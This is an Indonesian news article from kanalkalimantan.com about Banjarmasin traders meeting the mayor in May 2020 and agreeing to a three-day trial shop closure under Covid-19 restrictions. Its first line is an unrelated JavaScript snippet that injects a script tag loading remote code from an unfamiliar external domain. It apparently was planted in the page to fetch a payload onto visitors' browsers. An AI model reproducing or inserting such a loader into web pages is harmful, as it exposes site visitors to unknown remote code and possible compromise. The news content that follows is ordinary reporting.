(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Protes para pedagang sekunder non bahan kebutuhan pokok di pasar-pasar se kota Banjarmasin, beberapa perwakilan pedagang menemui Wali Kota Banjarmasin H Ibnu Sina di Balai Kota, Selasa (12/5/2020) siang.
Hasil dari pertemuan, menunjukkan adanya perubahan sikap Pemko Banjarmasin, semula bersikeras menyesuaikan Perwali Nomor 37 tahun 2020 menjadi lebih lunak. Di mana, para pedagang bersedia menutup toko selama tiga hari ke depan, dan ada evaluasi lebih lanjut setelah diterapkan selama tiga hari.
Baca juga: Jualan Sudah Sepi, Kami Makan Apa Kalau Toko Tutup
Salah seorang perwakilan pedagang, Ahmad Fariz mengatakan, setelah melalui musyawarah, diputuskan untuk ujicoba selama tiga hari untuk para pedagang sekunder menutup toko sementara. Baik itu yang berada di pasar, maupun yang berlokasi di pinggiran jalan. Kendati demikian, ia mengklaim, seluruh pedagang mendukung pelaksanaan Pembatasan Sosial Berskala Besar (PSBB).
“Setelah tiga hari ada evaluasi dari Wali Kota setelah rapat gabungan. Kita ini menunggu keputusan lagi,” ucap Fariz.
Ia melanjutkan, setelah kasus Covid-19 di Kota Banjarmasin mengalami penurunan atau paling tidak stagnan, maka akan diambil keputusan lebih lanjut. Hanya saja, belum diputuskan apakah diperbolehkan buka atau tidak, atau menunggu rapat evaluasi.
Baca juga: Satpol PP Banjarmasin Diturunkan, Minta Pedagang Bahan Sekunder Tutup
Baca juga : Pedagang Konveksi Keberatan Harus Tutup Selama PSBB Jilid II
“Bukan kita saja yang rugi, seluruhnya yang rugi. (Penutupan) tiga hari ini kami menerima, karena itu keputusan terbaik. Kami harapkan toko-toko besar juga mengikuti,” lugas Fariz yang mewakili pedagang Pasar Samudera Baru.
Lebih lanjut, perwakilan pedagang lainnya bernama Fajrin mengaku tidak keberatan jika penutupan dilakukan selama tiga hari. Kendati demikian, ia menekankan agar evaluasi nantinya harus dijalankan.
“Kami mengharap evaluasi harus dijalankan, kalau hasilnya bagus mudah-mudahan lebih baik. Kami tidak mengganggu gugat aturan,” katanya.
Saat dikonfirmasi, Wali Kota Banjarmasin H Ibnu Sina mengakui ia memahami keluhan para pedagang yang keberatan toko mereka ditutup. Hanya saja, diakuinya, saat ini tengah memasuki momentum jelang Lebaran di mana para pedagang terutama konveksi berharap banyak dagangan mereka laku.
Baca juga: Tak Terima Diminta Tutup, Pedagang Pasar Sentra Antasari Protes
“Tetapi protokol kesehatan harus tetap ditegakkan, makanya kami berharap untuk beri waktu tiga hari untuk megevaluasi. Karena hari ini yang harusnya tutup ternyata masih banyak pedagang yang masih buka,” jelasnya.
Senada dengan perwakilan pedagang, Ibnu berkata akan ada evaluasi setelah tiga hari toko di pasar maupun di pinggiran jalan ditutup. Nantinya, akan diambil keputusan apakah mengikuti sesuai Perwali Nomor 37 Tahun 2020 atau diambil kebijakan lain. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.